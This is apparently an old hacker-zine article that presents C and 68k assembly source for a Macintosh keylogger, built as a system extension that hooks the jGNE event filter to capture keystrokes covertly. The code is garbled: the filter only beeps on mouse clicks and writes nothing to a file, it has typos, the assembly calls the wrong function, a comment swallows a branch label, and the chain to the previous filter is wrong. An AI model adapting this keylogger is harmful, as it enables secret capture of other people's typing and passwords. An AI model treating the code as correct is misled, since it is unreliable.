Macintosh Key Capturing
by Swarthy
In the Winter 1994-95 issue's article entitled "More Key Capturing," the author provided some interesting multi-platform insight, but didn't mention a quick key capturing scheme for the Macintosh... after all, they are the most flawed in terms of security.
Included here is the necessary explanation and code needed to pull off a key capturer for the Macintosh.
In a Macintosh, everything is based on events, but the Mac doesn't give us a nice powerful set of routines to deal with the key down/up events in the way that we plan to deal with them. So, in order to get the keys first (without missing any) we must write a jGNE filter.
This, unfortunately, can only be done in 68k assembly language. The assembly included is the guts of the filter, the rest is just writing the 'char' into a file.
This is written to be compiled with THINK C/C++, and should be built as a system extension.
This is not my code, by the way.
/* This is a key capturing program using a jGNE filter, for the Macintosh */ /* This is written to be compiled with THINK C or C++ and should be built */ /* as a system extension */ #include <Resources.h> #include <Memory.h> #include <Events.h> #include <SetUpA4.h> #include <SysEqu.h> static void *gOldJGNE; static pascal void * SetJGNEFilter (void *newFilter) { void *result = *(void **) JGNEFilter; *(long *) JGNEFilter = (long) newFilter; return (result); } static Boolean myGNE (EventRecord *event, Boolean preResult) { Boolean postResult = preResult; if (event->what == mouseDown) SysBeep (10); return (postresult); } static void myJGNE (void) { static Boolean inJGNE; asm { MOVE.L A1,A0 /* save event record pointer from GetA4 */ JSR GetA4 /* point A1 at our A4 */ MOVE.L A4,-(A7) /* save old A4 */ MOVE.L (A1),A4 /* get new A4 */ MOVE.L A0,AT /* restore old A1 */ TST.B inJGNE /* is myJGNE busy? */ BNE @1 /* yes, so bail */ MOVE.B #true,inJGNE /* mark myJGNE busy */ MOVE.W D0,-(A7) /* push pre-result */ MOVE.L A1,-(A7) /* push even record pointer */ JSR myJGNE /* do the real work */ MOVE.L (A7)+,A1 /* restore event record pointer */ ADDQ.L #2,A7 /* pop pre-result; post result in D0 */ ASL.W #8,D0 /* bump C boolean to Lisa */ MOVE.W D0,8(A7) /* stash result where caller expects it */ MOVE.B #false,inJGNE /* mark myJGNE not busy @1 */ MOVE.L (A7)+,A4 /* restore A4 */ MOVE.L A0,-(A7) /* return to previous JGNE */ } } pascal void main (void) { void *me; asm { MOVE.L A0,me } RememberA0(); SetUpA4(); DetachResource (RecoverHandle (me)); gOldJGNE = SetJGNEFilter (myJGNE); RestoreA4(); }Code: mac-key-cap.c